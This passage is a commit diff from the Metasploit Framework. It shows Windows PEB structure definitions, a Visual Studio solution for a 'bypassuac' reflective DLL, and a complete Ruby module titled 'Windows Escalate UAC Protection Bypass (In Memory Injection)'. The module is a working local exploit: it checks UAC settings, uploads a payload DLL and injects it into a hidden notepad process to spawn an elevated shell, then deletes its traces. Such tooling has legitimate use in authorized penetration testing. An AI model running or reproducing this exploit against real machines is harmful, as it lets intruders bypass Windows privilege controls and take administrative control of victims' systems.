LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

BIN
external/source/exploits/bypassuac_injection/rdi.opensdf vendored Normal file
View File

Binary file not shown.

BIN
external/source/exploits/bypassuac_injection/rdi.sdf vendored Normal file
View File

Binary file not shown.

34
external/source/exploits/bypassuac_injection/rdi.sln vendored Normal file
View File

@ -0,0 +1,34 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.20617.1 PREVIEW
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bypassuac", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|ARM = Release|ARM
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.Build.0 = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.Build.0 = Release|ARM
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

2
lib/msf/core/exploit/exe.rb
View File

@ -89,7 +89,7 @@ module Exploit::EXE
pl = opts[:code]
pl ||= payload.encoded
if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64)
if opts[:arch] and (opts[:arch].include? ARCH_X64 or opts[:arch].include? ARCH_X86_64)
dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts)
else
dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts)

228
modules/exploits/windows/local/bypassuac_injection.rb Normal file
View File

@ -0,0 +1,228 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/exploit/exe'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Post::Common
include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Exploit::FileDropper
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',
'Description' => %q{
This module will bypass Windows UAC by utilizing the trusted publisher
certificate through process injection. It will spawn a second shell that
has the UAC flag turned off. This module uses the Reflective DLL Injection
technique to drop only the DLL payload binary instead of three seperate
binaries in the standard technique. However, it requires the correct
architecture to be selected.
},
'License' => MSF_LICENSE,
'Author' => [
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
'mitnick',
'mubix', # Port to local exploit
'Ben Campbell <eat_meatballs[at]hotmail.co.uk' # In memory technique
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'References' => [
[
'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/',
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
]
],
'DisclosureDate'=> "Dec 31 2010"
))
end
def exploit
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin?
#
# Verify use against Vista+
#
winver = sysinfo["OS"]
if winver !~ /Windows Vista|Windows 2008|Windows [78]/
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
end
if is_uac_enabled?
vprint_status "UAC is Enabled, checking level..."
else
fail_with(Exploit::Failure::NotVulnerable,
"UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate"
)
end
case get_uac_level
when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent
fail_with(Exploit::Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
)
when UACDefault
print_good "UAC is set to Default"
vprint_status "BypassUAC can bypass this setting, continuing..."
when UACNoPrompt
fail_with(Exploit::Failure::NotVulnerable,
"UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate"
)
end
# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
print_error('Not in admins group, cannot escalate with this module')
print_error('Exiting...')
return
end
end
if get_integrity_level == LowIntegrityLevel
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
end
tmpdir = expand_path("%TEMP%").strip
windir = expand_path("%WINDIR%").strip
# path to the bypassuac binary
path = ::File.join(Msf::Config.install_root, "data", "post")
# decide, x86 or x64
sysarch = sysinfo["Architecture"]
if sysarch =~ /x64/i
bpdll_path = ::File.join(path, "bypassuac-x64.dll")
if sysarch =~ /WOW64/i
bpdll_path = ::File.join(path, "bypassuac-x86.dll")
# We only have to do this for SYSWOW64 as 64 bit process
# cleans up after itself. It appears to be a problem with
# SysWOW64 Redirection...
register_files_for_cleanup("#{windir}\\System32\\sysprep\\CRYPTBASE.dll")
end
unless target_arch.first == 'x86_64'
fail_with(
Exploit::Failure::BadConfig,
"x86 Target Selected for x64 System"
)
end
else
if target_arch.first == 'x86'
fail_with(
Exploit::Failure::BadConfig,
"x64 Target Selected for x86 System"
)
end
bpdll_path = ::File.join(path, "bypassuac-x86.dll")
end
#
# Generate payload and random names for upload
#
payload = generate_payload_dll
payload_filepath = "#{tmpdir}\\payload.dll"
print_status("Uploading the Payload DLL to the filesystem...")
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
write_file(payload_filepath, payload)
rescue ::Exception => e
fail_with(
Exploit::Exception::Unknown,
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
dll = ''
File.open(bpdll_path, "rb" ) { |f| dll += f.read(f.stat.size) }
offset = get_reflective_dll_offset(dll)
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
cmd = "#{windir}\\System32\\notepad.exe"
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
if proc.nil? or proc.pid.nil?
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
end
pid = proc.pid
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
begin
vprint_status("Opening process #{pid}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
vprint_status("Allocating memory in procees #{pid}")
mem = host_process.memory.allocate(dll.length + (dll.length % 1024))
# Ensure memory is set for execution
host_process.memory.protect(mem)
vprint_status("Allocated memory at address #{"0x%.8x" % mem}, for #{dll.length} bytes")
vprint_status("Writing the payload into memory")
host_process.memory.write(mem, dll)
vprint_status("Executing payload")
thread = host_process.thread.create(mem+offset, 0)
print_good("Successfully injected payload in to process: #{pid}")
client.railgun.kernel32.WaitForSingleObject(thread.handle,3000)
client.railgun.kernel32.TerminateProcess(host_process.handle,0)
rescue ::Exception => e
print_error("Failed to Inject Payload to #{pid}!")
vprint_error(e.to_s)
end
# delete the uac bypass payload
vprint_status("Cleaning up payload file...")
file_rm(payload_filepath)
end
def get_reflective_dll_offset(dll)
begin
pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
pe.exports.entries.each do |entry|
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
return pe.rva_to_file_offset( entry.rva )
end
end
raise "Can't find an exported ReflectiveLoader function!" if offset.nil? or offset == 0
rescue
print_error( "Failed to read and parse Dll file: #{$!}" )
return
end
end
end